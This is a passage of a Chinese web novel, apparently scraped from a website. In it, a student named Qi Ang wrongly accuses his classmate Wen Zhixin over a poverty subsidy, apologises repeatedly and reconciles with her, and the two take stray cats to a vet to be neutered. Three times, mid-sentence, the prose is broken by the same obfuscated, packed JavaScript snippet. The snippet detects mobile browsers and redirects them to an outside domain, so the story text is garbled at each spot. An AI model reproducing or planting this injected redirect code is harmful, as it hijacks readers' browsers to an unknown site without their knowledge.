温知新还是有些担忧:“他会不会继续找你?” “肯定会喽,但是说不定到时候我已经攒够钱去别的地方了。” 正男很乐观,他说昌福会的薪水很高,而且还包吃住。 “这样我的钱全部都可以省下来了。” “那祝你早日存够钱,想去哪里去哪里。”温知新说,“现在先把稿子给我吧。” 正男从裤子口袋里掏出一叠皱皱巴巴的纸,有些不好意思地挠挠脸。 “我不想让同事知道我在写这个,所以就把纸折的很小很小,现在看来好像有点太小了。” 温知新哈哈大笑,揶揄他:“正男,你心不诚,文学之神怎么会保佑你。” 正男佯装生气,高高抬起胳膊,轻轻打在温知新身上。 他这个人浑身散发出不好惹的气质,再配上这身青青紫紫的伤,倒真像个欺凌弱小的混混。 “温知新!” 祁昂的声音自远及近,人也自远及近。 他像一柄泛着冷光的利剑,劈开凝重的空气,奔向温知新身边,攥住她的手腕拉到自己身后,高大的身躯完全护住她。 冷淡的双眸直直盯着正男:“你为什么打人?” 正男:“……?” 温知新:“……” “祁昂,这是我朋友。”温知新动动手,想挣扎出他的桎梏,“我们在闹着玩儿呢。” “闹着玩?”祁昂声音清泠泠,“在这里,在昌福会门口,玩?” 他好像真的生气了,神色像蒙了一层冰霜,垂下来的目光如剑尖挑起的寒光。 温知新的手腕还在祁昂手心里,不可忽视的燥热通过脉搏传递到全身,她拽了拽自己的胳膊,没拽动。 “怎么了?你为什么这么生气?” 她真的不明白。 自始至终,她都不明白祁昂。 祁昂放开温知新的手,背对着正男,和她面对面,语速有些快,情绪有些激动。 “温知新,我知道以我的身份不应该对你的生活指手画脚,但是你不能自甘堕落、花天酒地,和这些不三不四的人混在一起。” 说都说了,祁昂索性把自己想讲的话全吐了出来。 “而且你清楚你自己贫困生的资格是怎么来的,我不想评判什么,但是你确实抢了秦悦欣的名额,你更应该洁身自好,昌福会不是你应该来的地方。” 温知新恍然大悟。 那些没来由的忽略针对挑衅一下子都有师出有名了。 秦悦欣失去了贫困生资格。 而她又恰恰顶上了这个空位,不仅如此还去酒吧喝酒,在高级会所外和疑似混混的人纠缠。 太可笑了。 这么想当然的证明方式真的太可笑了。 温知新心里的弹簧被狠狠压下去又跳起来。 她勾勾嘴角,面上带着嘲讽的笑。 “名单上有我没她,所以你就自以为是觉得是我抢了她的贫困生名额,还拿着这笔钱还花天酒地。” “祁昂,你写数学几何题的时候不是挺会证明的吗?现在怎么又不会了。” “但凡你问一句姜寐,你就能知道秦悦欣没有贫困生资格是因为她要转学了,在一中的所有证明都需要解绑。以及我的资格是学校单独给单亲家庭设置的,完全不影响其他同学评选。” “你真的可怜她的话,怎么不捐钱给她?你真的觉得我不该拿这个补助的话,怎么不劝我爸妈复婚?” “你嫉恶如仇,看不得一点不公平的事情发生,那我请你高高在上审判别人之前至少要先搞清楚状况。” “圣人心不是这么用的,大善人。” 8. 中指 因为表哥和小姨吵架,祁昂为避战火短暂地住在书香别苑几天。 祁正回公司上班之后,家里重新恢复和平,他自然又要搬回去。 祁昂刚从昌福会回到家就被喊到一楼会客厅,祁云峥正在看报告,见他进来之后将文件收起来,下巴微仰,示意他坐。 母子两个有很长时间没见,总公司在外地,祁云峥工作繁重,这周才有时间回宜安。 她开门见山:“云岫说,你拒签了江大数学英才班,理由。” 祁昂心里有事,没心情和母亲聊自己的规划和想法,他只是说:“觉得没意思就没签。” “可以,你放弃常青藤的原因也是一样吗?”祁云峥问。 “差不多。” 祁云峥说:“你马上十七岁,要不要做一件事情的评判标准不应该是好不好玩,有没有意思,感不感兴趣,而是这件事会给你带来多大的效益。” “是给我带来效益,还是给家里带来效益?”祁昂反问。 祁云峥不以为然:“你和家里是不分开的。” 祁昂说:“我自己考也能上江大,不需要签提前招生。” “重点不是你要考上好大学。”祁云峥笑起来,目光里带着对小孩无知的宽容,“算了,你之后会明白的。” “还有,你和支家小儿子的事情我听说了,原则上做的是对的,但还是要讲究方式方法,不能总借你小姨的势,但也是那小孩自作自受,这次就不罚你闭门思过了。” 祁云峥说一大堆,祁昂压根没听进去几个字,他满心满脑都是温知新的诘问。 “妈,我最近……” 然而他刚开了一个话头,就被祁云峥抬手打断。 “关于你最近的表现,等我有时间之后再详聊。”祁云峥拿起书桌上嗡嗡作响的手机,挥手让祁昂离开 “好。”祁昂关紧门之前,听见祁云峥不怒自威的声音传过来:“在这个节点项目违规?直接停职调查,不用听解释。” 他低下头,自嘲一笑。 先判后审,好像是他的家族传统。 祁昂回自己房间时,正好祁正从楼梯下来,穿着宝石蓝色的西装,只系了衬衫最下面的两颗扣子。 “晚上好轩轩。”祁正抬起两根手指在额角碰了一下,流里流气的。 “晚上好,表哥。”祁昂打招呼。 祁正从口袋里拿出手机,夹着嗓子发语音,“我知道错了,你就宽宏大量原谅我一次吧,十分钟,不七分钟,我和花都会出现在你家楼下。” 祁昂站在楼梯上,若有所思。 他想,无论如何,自己应该先道歉。 祁昂找许妄要温知新的联系方式,对面过了二十分钟回复。 宇宙第一大帅哥许某人是也:【她没加你吗?】 7:【我没给她】 宇宙第一大帅哥许某人是也:【哦,你现在又要加人家了】 7:【嗯】 宇宙第一大帅哥许某人是也:【那昨天晚上大家都写便利贴的时候你干嘛呢】 7:【忘记了】 宇宙第一大帅哥许某人是也:【你就装吧,死要面子活受罪】 宇宙第一大帅哥许某人是也:【6501163x】 7:【谢谢】 祁昂搜索号码,点击添加好友,在验证信息那栏写下: 你好,我是祁昂,对于误会你的事情我很抱歉,对不起。 等了很久都没有等来温知新的同意。 祁昂索性将所有作业都找出来,摆到书桌上开始狂写。 他需要靠做题来冷静一下,不然脑子里全部都是温知新。 祁正敏锐察觉到自己的小表弟心情不佳。 作为家族中最善解人意的帅哥,祁正立刻肩负起开导表弟的重任。 哄完女友回到家之后,他不请自来,敲开祁昂的房间门,手里还煞有介事地晃着一只高脚杯。 喝下一口苏打气泡水,祁正故意凹出很低沉的声音,问正在写题的祁昂:“你从回来之后就木着脸,发生什么事情了?” 祁昂说:“没什么。” 祁正嗤笑。 从祁昂坐到书桌前写作业开始,到现在已经过去了半个多小时,他已经在草稿纸上画了十几个黑圈圈了,说他没心事,鬼才相信。 青春期的小屁话左右不过那么多烦心事,考试没考好,作业不会写,恋爱谈不明白。 他问祁昂:“你是哪种?” 祁昂握着笔,瞥了一眼没动静的手机,说:“都不是。” 他只是想不通自己为什么会犯这么愚蠢的错误。 从回来到现在,温知新的质问就一直萦绕在他的耳边。 –为什么做几何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076205|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题的时候明白每一步都要证明,结果到真正的是非对错问题上又那么轻而易举地给人判罪。 他从没想过自己会做错事。 “都不是,那你烦什么?”祁正问。 “我做错一件事,我在想怎么和对方道歉比较好。”祁昂说。 “道歉还不简单,你哥最擅长道歉了。”祁正莫名其妙骄傲起来,“给男生道歉还是女生道歉?” “女生。” “那我更有把握了。”祁正大笑,很慷慨地给祁昂支了好几招。 祁昂一个也没看上。 “哥,你少看点偶像剧吧。” 送花壁咚强吻是正道吗? 祁正说:“那你想怎么道歉?” “说对不起。”祁昂抬起头,很认真地说。 祁正:“……” 好朴实无华的道歉,这就是青春吗? “这样应该也行,你……” 祁正还没有说完话,桌上的手机就响了一声。 叮—— 温知新终于回他了。 没有通过好友,只是在临时会话的页面发来的信息。 准确来说,只有一个emoji表情。 7:【你好,我是祁昂,对于误会你的事情我很抱歉,对不起。】 温故而知新:【[中指]】 祁昂:“……” 7:【抱歉,我不应该不加求证就先入为主,还那样对你,非常不好意思】 此条信息刚发出去,下一秒祁昂就收到一条官方信息: 亲爱的用户您好,我们收到其他用户举报您有疑似骚扰行为。温馨提示:网络空间也要注意言论哦。 祁昂:“……” 他充分怀疑,温知新没有拉黑他只是因为非好友不能拉黑,所以才退而求其次选择了举报。 不过传达的信息都只有一个:滚蛋,别来骚扰我。 祁正好整以暇地看着祁昂表情变得越来越木,憋着笑问:“说完对不起了?人家说什么?” 祁昂:“……” 他垂眸看着那个黄色的小中指,微不可查地叹了口气,对方什么都没说,只是让他滚蛋。 2015年4月23日这天,祁昂得到两个好消息。 一是他的朋友们都是好人。 二是如他所愿,温知新不理他了。 9. 和好 周一秦悦欣转学。 周二赵言心让祁昂重新整理了一份班级资料,家庭情况那一栏里,温知新填的是单亲。 与此同时他得知学校为了评奖,专门给单亲家庭的学生设立了一项补助,并不和真正的贫困生补助冲突。 祁昂又给温知新道了几次歉,面对面的那种。 言辞诚恳,语气认真,除去那张冷到北极的脸之外,态度真的很不错。 “我再一次向你道歉。” “你没完了?”温知新听道歉听的很烦躁。 转学第二周,她或多或少也听说了一些八卦,比如祁昂不爱说话,高岭之花,十分公平与正义,极度严苛与自律。 并不认识他的人不管不顾地为他镀上一层不食人间烟火的谪仙形象。 而且还不止一个人这么认为,是相当一部人对此深信不疑。 温知新真想晃醒她们,在她们耳边怒吼:不是的,你们的校园男神其实只是一个高高在上、刚愎自用、自以为是、先判不审的假圣人。 她看见这张又冷又帅的脸就生气,恨不得狠狠咬上两口。 但这是文明社会,她又是文明学生,所以她不能这么做。 眼不见心不烦,温知新决定出去接杯水,暂时避开祁昂。 她拿起水杯,愣了一下。 很沉,装满水的沉。 她拧开杯盖,发现里面确确实实盛满了水,温热的白气氤氲她的眼睫。 教室里一共就四个人,最前排的女生,她不熟,另一个男生他不认识,除此之外就只剩下她自己和旁边的人。 温知新狐疑地看向祁昂,对方紧抿薄唇,小心翼翼地看着自己。 “你接的水?” “嗯。” “在里面下毒了,想毒哑我?” “……” 温知新在把水倒掉自己重新接一杯和喝一口水这件事就算了之间犹豫。 思索一番,她决定不倒掉但是也不喝水。 哪怕她的自尊微不足道,她也拥有生气的权利。 “祁昂,我原谅你了。” 温知新把杯盖重新拧好后,将水杯放到桌角,从桌洞里拿出错题本来写题,不再说话。 祁昂眸光一亮,但很快他明白,原谅不代表不生气。 两个人明明是同桌,却好像隔着楚河汉界。 月考之后就是五一假期,大家兴致冲冲地讨论要去哪里玩。 赵言心“啪嗒”把讲义撂到讲桌上,扫了一眼底下三十五张期待又兴奋的笑脸。 “还有两天才放假呢,不考试了?” 底下学生拉着长音异口同声:“不想考——” “不想也没用。”赵言心说,“这次五一我不布置作业了……” 话还没说完,教室里就掀起一阵欢呼声,一个个学生都化身猿猴,呜呜呜个不停。 “但是!你们英语均分要考到125,不然假期作业我就当做周末作业再重新布置下去,能做到吗?” 同学们:“呜呜呜——” 赵言心:“再呜呜我就要留作业了。” 三十五个人沉默半秒,紧接着又:“呜呜呜——” 赵言心靠着讲桌,被他们气笑了。 “好了,考试前最后一次评析课,认真听。”赵言心说,“把试卷都拿出来。” 温知新彻底融入一个地方的标志就是自己的东西变得杂乱。 她看着乱中无序的课桌小声叹了口气,心说等五一回来,一定要好好整理一番。 但眼下的急事是先找到试卷。 赵言心讲题又清楚又快速,毫不拖泥带水,五分钟就已经过掉两篇阅读理解。 温知新在一堆试卷里翻来翻去,连四天前姜寐约她一起高三看帅哥的小纸条都找到了,就是找不到昨天刚做完的卷子。 她的动静引来祁昂的侧目,他坐的端正,把自己的试卷往中间放了放,一张桌子上一半。 温知新瞥了一眼祁昂,又扫了一眼试卷,随后在自己的卷子堆里随便抽了一张,假装是正在讲的。 即使这样,也不愿意看他的。 这是要冷战到底的信号。 祁昂把自己的试卷拽了回来,在自己做错的那题上面画了一条长长的斜线,订正的“A”写得也比别的答案要大两倍。 - 晚上温知新和姜寐傅云星一起吃饭,路过祁昂和许妄时,只和许妄打了个招呼。 没看祁昂一眼。 晚修整理考场,放不进书柜里的东西都要搬到教室外面的走廊。 温知新有很多书,后排空间很大,她足足放了两个到她膝盖那么高的大书箱。 她费力地搬起一只,踉踉跄跄地往外走,祁昂刚好从外面进来,看见温知新后,他顿了下步子,胳膊都抬在了半空,结果温知新直接绕过了他。 许妄看到这一幕,走过来搭祁昂的肩,“你们两个怎么了?晚饭的时候好像也没和你打招呼,吵架了?” 祁昂望着温知新的背影,微不可查地嗯了一声。 “谁的错?” “我的。” “道歉了吗?” “五次。” “五次都没原谅你?” “没。” 还原谅呢,温知新看他好像看空气。 “你方法错了。”许妄拍拍祁昂,下巴一扬,示意他往那儿看。 傅云星正在因为姜寐同意别的男生帮她搬书而生气,他本来就是阴郁寡言的性格,生气之后更像哑巴。 他低着头,一声不吭地把姜寐的课桌收拾得干干净净,顺便把她的书包也理了一遍。 事都做完了,但就是不说话。 姜寐笑眼盈盈凑到傅云星面前,牵着他的手臂晃来晃去,“星星别生气了,他是来借东西的不是来帮我搬书的,星星,不要不和我说话。” 傅云星脖子红了一片,“没有不和你说话。” 然后两人就和好,欢欢喜喜打游戏机去了。 许妄两手一摊,“道歉配合美人计一起使用,效果翻倍。” “……谁是美人?” “当然是你啊,总不能是我吧,虽然我也很美啦,哈哈哈哈哈哈哈。”许妄假装害羞,实际声音大到震天响。 祁昂扯扯嘴角,想了一下自己对着温知新撒娇的样子。 他宁愿死。 祁昂趁温知新还没进来,抓紧时机帮她把另一只书箱搬了出去,结果被她堵了个严实,两人站在教室后门面面相觑。 温知新说:“这是我的箱子。” 祁昂也很惜字如金:“我知道。” “小偷?” “助人为乐。” “谁让你助了?又在自以为是。” “……” 许妄在不远处振臂高呼,夸张的口型在说:“美!人!撒!娇!” 祁昂深呼吸,一脸的视死如归,尽量把清寒的声音放柔。 他学着姜寐的样子,决定先从亲近一些的称呼下手。 然而“温温”二字刚说出口,温知新就打断了他,并退后两步,让开路。 “搬就搬,别恶心我。” “……”祁昂没回嘴,温知新说什么都是他罪有应得。 两个大书箱外壳都用黑色记号笔写着“温”字,一上一下摞在一起,刚好是个“温温。” 祁昂刚张开嘴唇,温知新立刻伸出食指警告他,“再喊温温真跟你绝交。” 祁昂果真闭嘴不语,只是问她:“你原谅我了吗?” “不是跟你说过,我原谅你了。” “可你一直没和我说话。” “原谅就代表我要和你说话吗?我就是不想和你说话有罪吗?又想要审判我?” “没有。”祁昂又说,“对不起。” 已经是第六次道歉了。 温知新同样认真地看着祁昂说:“有关系,很有关系,祁昂,我是真的很生气,你以后不要再这样做了。” “我知道,不会了。” “那我就不生气了。” “谢谢你。” 绀色的天空中散着几点星子,枫叶晃动,光影摇曳。 温知新趴到栏杆上,低着头,马尾垂下来贴着她的侧脸,两条手臂荡在空中,五指张开,感受着指缝中的风。 祁昂也没有回去,安安静静地站在她身边。 五层只有一个重点班,就三十五个人,但玩闹起来的声浪堪比核弹。 走廊一直有人在嘻嘻哈哈,更有甚者边走边用嗝打了一段“咱们工人有力量”。 有点恶心,但是音准不错。 隔着十几米,许妄就在喊:“方驴!你又在打嗝!好恶!” 温知新笑起来,忽然问祁昂:“宜安一直都这么热吗?” “据说今年是最长的一个夏天。” “会有多长?” “大概四月到十一月。” “好长啊。”温知新把脸贴到冰凉的栏杆上,声音有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076206|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些疲倦,“我一点儿都不喜欢夏天。” 祁昂垂下目光。 而温知新望向不知方向的远处。 两个人在外面站了几分钟,直到放学铃声响起来,才进教室拿书包,回家。 许妄问:“阿祁,你现在还在书香别苑住吗?” 原本他们两个人放学一起回家,但是前几天祁昂突然去了书香别苑住,许妄已经好几天是自己骑车回家的了。 祁昂往旁边看了一眼,嗯了一声。 “行,那我先走了。”许妄摆手,“明天见二位。” “明天见。”温知新也跟着挥挥手,然后继续吭哧吭哧往书包里装练习册:《五年模拟三年高考(化学总复习版)》、《32套密卷(物理)》、《小题狂做(化学)》。 装好后把书包往肩膀上一甩,坠的她晃了一下。 祁昂伸出两根手指抵住温知新的肩,帮她稳住身形,“今晚都写?” 温知新抬头递过去一个眼神:“你有意见?” 祁昂说:“没有。”过一会儿又说:“你别累死。” “……托您的福,不会的。” 温知新噔噔噔往楼下走,脑后的高马尾一甩一甩。 她当然不可能一晚上写这么多东西,关于每天要写什么题,完成什么任务,温知新都是有严格计划的。 她自己有一份,温倩那里也有一份。 出租屋里没安装监控之前,温知新需要按时按点打卡拍照给温倩,然后随时准备接通查岗视频。 上周有了监控,温倩就可以随时随地查看温知新在干什么。 “明天就要考试了是吗?”温倩在监控里问。 温知新说:“是。” “好好考。”温倩说,“上次你区联考第一,但是和第二的差距太小了。” “知道了。”温知新说,她在纸上写完最后一道数学题,“你五一回来吗?” 温倩说:“忙完就回,大概第二天到家。” 温知新对着摄像头扬了一个大大的笑脸,“好的,你不要总熬夜,注意身体。” 温倩“嗯”了一声,又说,“我给你挑了几件衣服,你记得去拿。” 温知新说:“好的,谢谢妈妈。” 但其实温倩给她买的衣服,她只在温倩面前穿。 温倩很喜欢黑白灰一类的简约风的衣服,不是不好看,是实在戳不到温知新的审美上,她更喜欢五彩缤纷的颜色。 不过为了让温倩开心,温知新不会拒绝。 月考考两天。 收完理综试卷之后,每个考场都不约而同地爆发了一阵欢呼声。 许妄一秒钟都不想在教室里待着,拽上书包逃一般窜出了教室。 和缓缓而来的赵言心撞了个正着。 “许妄,你真是归心似箭。” “嘿嘿嘿。” “别傻笑了,回去坐好。” 许妄蔫儿吧唧地又拖着步子回去了。 赵言心把手里的假期溺水安全须知发下去。 “老生常谈的话题了,宜安天气热,想游泳玩水去正规的游泳馆或者海滩,而且要有家长陪同,不许去水库河边等地方去玩。” “一定要注意安全,今天什么样子走出的校门,假期结束就要怎么回来,可以吗?” 三十五张嘴整齐回答:“可以——” “那就,希望大家过个愉快的假期,五一快乐。” “五一快乐!” 三十几个人一齐冲出教室,走廊里简直是两岸猿声啼不住。 温知新照例背着她满满当当的书包,慢吞吞地走在最后,等人都走的差不多了,她才下了两层楼梯。 在又一个转弯时,她忽觉肩上一轻。 回头发现是祁昂走在自己身后,站在高一级台阶上,伸出了两个手指拎起了她的书包。 温知新:“?” “祁昂,你在干嘛?” “书包不重?” “有点儿。” “现在还重?” “……不重了。” “那走吧。” “……” 现在是不重了,但是很怪啊! 她好像被他拎着走一样。 温知新明白这是祁昂示好的方式,她也乐得给对方一个面子。 索性直接把书包甩给他,“那你直接背着吧。” 祁昂一声不吭地接过来,一左一右背着两个书包,和温知新一起慢吞吞下楼。 10. 小猫 温知新和祁昂正式和好。 不过也没什么联络感情的机会就到了五一。 一共三天假期。 出租屋的监控二十四小时开着,温知新也不确定温倩什么时候就会打开APP看她一眼。 第一天下大雨。 温知新在出租屋里待了一整天,写完了假期作业,在编辑的催促下赶完了一篇你爱我时我不爱你,我爱你时你又不爱我的虐恋情深的短篇小说。 温知新窝在椅子里,头往后仰,黑色油亮的长发如瀑布般倾泻而下。 温倩估计在加班,不然早就呵斥她坐好了。 手机里放着随机歌单,在《甜蜜蜜》接近尾声时,一道白噪音打断了这曲甜腻。 备注是钟林。 写作钟林,读作亲爹。 温倩和钟林离婚的时候还算和平,没吵没闹。 两个人干脆利落地分了家产,钟林只要了自己的画馆,房子车子和温知新全归温倩。 温知新对钟林冷冷淡淡,每个月钟林会给她打一笔零花钱,算做联系。 手机还在响,温知新接起来,没说话,等钟林先开口。 “温温呀,是爸爸。” 很熟悉的不靠谱的调调。 温知新问:“怎么了?” 钟林说:“爸爸正好来宜安出差,待会儿会路过书香别苑,你有没有想要的东西,我买了给你带过去?” “还下雨吗现在?”温知新边问,边扭头看窗外,分不清玻璃上蜿蜒的水痕是哪个时间段留下的。 “不下了,挺凉快的。”钟林说。 温知新握着手机,走出卧室,看到客厅一角的猫粮袋子已经空了,“我想要猫粮,你会路过宠物商店吗?” “会。”钟林毫不犹豫地说,“妈妈同意你养小猫了吗?” “没有,喂流浪猫的。” “噢这样啊,那有没有常喂的牌子,你发给我,我照着买。” 温知新给空掉的猫粮袋子拍照给钟林发过去。 大概十五分钟之后,温知新收到钟林的信息。 问她在哪一栋楼。 温知新说自己下来。 她拿上笼子下楼,走了三分钟到大门口,看到一辆火红色轿车,和倚着车门的火红色钟林。 温知新从他手里接过来一袋猫粮,“谢谢。” “跟我还客气。”钟林笑,“怎么样,在这里还习惯吗?” “还行。” “有时间去爸爸那里玩。” “……”温知新的表情变得欲言又止,“我觉得周阿姨应该不会欢迎我去的。” “……”这下换钟林的表情变得欲言又止。 温知新轻嗤一声,敷衍又讽刺,“没事我先回去了。” “回去吧,有事可以给我打电话。”钟林说。 温知新看了他一眼,没笑,只是勾勾嘴角,却比刚才还要讽刺。 钟林有些站立难安,挠挠脸,钻进车里就扬长而去。 她一手提着猫粮,一手提着猫笼往小区深处走。 到一个熟悉的草丛旁之后,蹲下来,把笼子里的碗拿出来,倒满猫粮后又放了进去。 “喵喵喵,喵喵喵。”温知新蹲在那里,黑色的长直黑发披满背,“小猫小猫来吃晚饭。” “小猫小猫,来吃晚饭。”她拖着长调子,懒懒散散地呼唤隐匿在草里的猫咪。 等了七八分钟,只出现了一只小白猫和一只狸花猫,平时最黏人的小橘猫不在。 温知新觉得疑惑,决定亲自去勘探一番。 经过半个月的喂养,她已经掌握这几只小猫的活动范围,比如小橘猫就十分喜欢在这片草丛里面趴着。 雨后泥土湿润,温知新弯下腰扒开绿植时指尖不可避免地染上泥,但她此刻完全顾不上自己的干净。 在一场暴雨过后,她要亲眼看到活蹦乱跳的小橘猫才会心安。 她沿着草丛堆找了一圈,终于在一个很隐秘的角落发现了小橘猫。 小橘猫也看见了温知新,立刻焦急的喵喵喵个不停。 “怎么啦小猫?怎么趴在这里不动……”温知新的声音戛然而止。 因为她看见小橘猫左侧的前脚掌上被人绑上了一根线,另一端被牢牢系在不远处的树干上。 线绷得很直,以至于小橘猫只能在这个范围内活动,一旦超出,前腿就会被勒紧。 “靠,这是哪个傻缺干的!”温知新从口袋里摸出钥匙,磨断那根线。 重获自由的小橘猫喵一声,飞快逃离草丛。 “哎——小猫——” 温知新想抓住它,往前一扑,但扑了个空,自己反倒趔趄一下,手臂被人抓住才不至于摔了个狗啃泥。 “温知新。” 一道清冽的声音骤然响起在湿润的空气里,温知新闻声抬头,看到一个全身黑的男生。 黑T恤,黑裤子。 黑色棒球帽下有一双漆黑如墨的眼睛,和清晰的下颌线。 暮色四合,草丛的地灯散发着不明朗的光线,男生面色如水般沉静,一手抱着小橘猫,一手拉着她。 “祁昂。”温知新仰着头打量他,“你好吓人。” “没你吓人。” “你好像来索我命的男鬼。” “你像女鬼。” “喵~” 小橘猫不懂人类话,它在祁昂怀里找了个舒服的姿势,四只爪子蹬着祁昂的胸膛,把泥巴全印了上去。 温知新挑眉:“你现在是脏兮兮的男鬼。” 祁昂语气不变,“我第一个带你下地狱。” “……那先谢谢你。”温知新说,“你把小猫给我吧,或者直接放进那边儿那个笼子里。” 祁昂没照做,问:“为什么?” “我要带它们去绝育。”温知新说,“不然?我卖了它们?” “说不定。” “卖你也不会卖小猫。” 温知新噔噔噔把笼子搬过来,催促祁昂,“快点儿,宠物医院要关门了。” 祁昂弯腰,将小猫放了进去。 温知新利落上锁,提起猫笼,大踏步往外走了几米之后,发觉祁昂一直不远不近地跟着自己。 “?”温知新停下来转身,索性和他面对面对峙,“你在跟着我?” 祁昂不置可否。 “为什么?” “怕你卖猫。” “……那你跟着吧。”温知新继续往前走,“正好把你也一起绝育了。” 祁昂神色一凛。 温知新笑了一声,双手提着几斤重的笼子吭哧吭哧往前走。 原本十分钟的路程,走了七分钟就到了。 宠物医院叫猫猫狗狗修理店,大门是向内推的玻璃门,祁昂胳膊长,越过温知新直接握上把手,推开门,等待温知新先进。 这会儿又装绅士了,哼。 温知新进去,哐当把笼子放到地上,和前台姐姐说明来意。 “可以绝育的,不过要先检查一下看看是不是适合绝育。”前台姐姐说。 温知新和祁昂坐在椅子上等待检查结果,一个坐在最左边,一个坐在最右边,两人中间好像隔着一个银河系。 大概十几分钟之后,医生说小白猫和小狸花猫可以绝育,小橘猫不行。 “它怀孕了,大概一周左右,暂时做不了绝育。” 温知新语气有些不忍心,“猫猫,你自己还是个宝宝呢,怎么就怀宝宝了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076207|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “喵喵喵。” 她和小橘猫脸对脸,大眼睛都看着对方,一个说人话,一个说猫语,居然也能聊的有来有回,好像惺惺相惜的两姐妹。 祁昂站在旁边,默默看着温知新摸小猫,神色意外的柔和。 一只不能做绝育没关系,还有两只将接受手术刀的审判。 温知新让祁昂把小白猫和小狸花猫送进手术室。 祁昂问:“为什么我去?” 温知新理所当然:“我听说小猫会记恨送它去绝育的人,我不想小猫恨我。” “我也不想小猫恨我。”祁昂语气平淡,眼神却一直盯着温知新。 “不一样的,你能在书香别苑住几天,我还要在这里住一年多呢,以后小猫以后都不理我了怎么办?” “如果小猫真的不理你了,你怎么办?”祁昂话里有话。 “一直道歉呗。”温知新不是傻子,听得出他的弦外之音,“像某人一样。” “你说谁?” “他知道。” 温知新看着祁昂,微挑眉尖。 最后两个人谁也没把小猫送进手术室,是医生送进去的。 两个人重新坐回银河两端。 温知新不知道为什么祁昂非要跟着自己来这一趟,难不成真的怕她把小猫卖了? 她看起来像那种人吗! 她那么善良可爱美丽大方善解人意…… 温知新偷偷往旁边瞥去目光,看到祁昂微微低着头,帽沿遮住了他的上半张脸,只露出锋利流畅的下颌线,和紧绷的嘴角。 医院里有待领养的流浪猫狗,温知新坐不住,去看它们。 她问前台姐姐:“如果一直都没人来领养,它们会去哪里?” “放回社区。”前台姐姐说。 “这只也要放回去吗?”温知新发现一只很与众不同的小猫,通体雪白,只有头顶一点黑。 左前腿只有半截,尾巴短到可以忽略不计。 “这个应该会一直等到有人来领养。”前台姐姐介绍起这只小猫刚来时候的情况:“它刚来医院的时候眼睛都睁不开,也不会叫,尾巴不知道被什么人用钝器切掉了,一直流血。” “小可怜。”温知新隔着玻璃摸了摸小猫。 祁昂不知道什么时候也凑了过来,和温知新并排,弯下腰,屈起一根手指,贴在玻璃上。 小猫本来窝成了一个毛球,却在祁昂过来时,有所感应似的,抬起来脸,圆润的眼睛盯着祁昂,很微弱地“喵”了一声。 然后迈着小步,一点一点挪到玻璃门的前面,轻轻地蹭到祁昂的手指。 温知新很惊喜地看向祁昂:“它很喜欢你呢。” 祁昂看着小猫,目光和缓。 “送它来的小朋友一直哭,她很想养这只小猫的,家长也答应了治好了就来接走,只是前两天就搬家走了,小朋友还把最后攒的钱给我,让我一定照顾好小猫。” “我可以领养它吗?”祁昂忽然问。 前台姐姐说:“有经济能力的成年人才可以领养。” “……好的。”祁昂很低地应了一声。 小猫还在叫,小小声,脑袋贴着玻璃,贴着祁昂的手指。 温知新俯身歪头,也看着祁昂。 五秒钟后,祁昂冷着脸,红着眼眶,手里攥着两张面巾纸。 “温知新,我没哭。” “嗯嗯嗯,你没哭,只是你的眼睛在下雨。”温知新说,“不过这样的你反而更真实一点。” 翻译一下就是:像个人了。 祁昂瞥她,眼睛微红,声音依旧清冽:“不把我绝育了?” “这个……” 实在是她心有余而力不足啊。 11. 夜色 小白猫和小狸花猫术后状态都很好。 医院现在有流浪猫领养项目,他们会在各大公众平台发布信息领养信息,如果一周内无人领养,就会原地放归。 “都是书香别苑的小猫吧?”前台姐姐问。 温知新说:“是,如果有人想领养它们的话,拜托一定要确定他们会对小猫好。” 前台姐姐笑:“放心,我们会做好调查的。” 签字登记交钱,和小猫告别。 此刻夜幕已经完全降临,柏油路上的两道影子不断拉长又缩短。 两人停在一个十字路口,绿灯刚好变红,从99秒开始倒计时。 祁昂忽然开口,低低的声音乘着夜色送入温知新耳畔:“刚才的事,别告诉其他人。” “什么事?”温知新一开始没反应过来,看他还泛红的眼睛才想明白是什么事情,“噢,你说你因为小猫哭……” 她的声音不大不小,恰好能让周围一起等红绿灯的人听到。 “嘘——”祁昂情急之下,伸出食指,直接抵上温知新的嘴唇。 人不是绝缘体。 好像有一阵悄无声息的电流在指腹和唇瓣之间传递,烫的两个人均往后一闪。 温知新捂着嘴,瞪圆眼睛,不可置信地看着祁昂,“你有病啊?” 这下祁昂不仅眼睛红,脖子耳朵和脸颊也都红了个遍,蜷起来的手指似乎还有干燥的余温。 “我……对不起。” “不原谅你。”温知新留下这句话转身就往左边跑走,书香别苑的反方向,通往夜色。 扬起的长发刚好擦过祁昂的下巴。 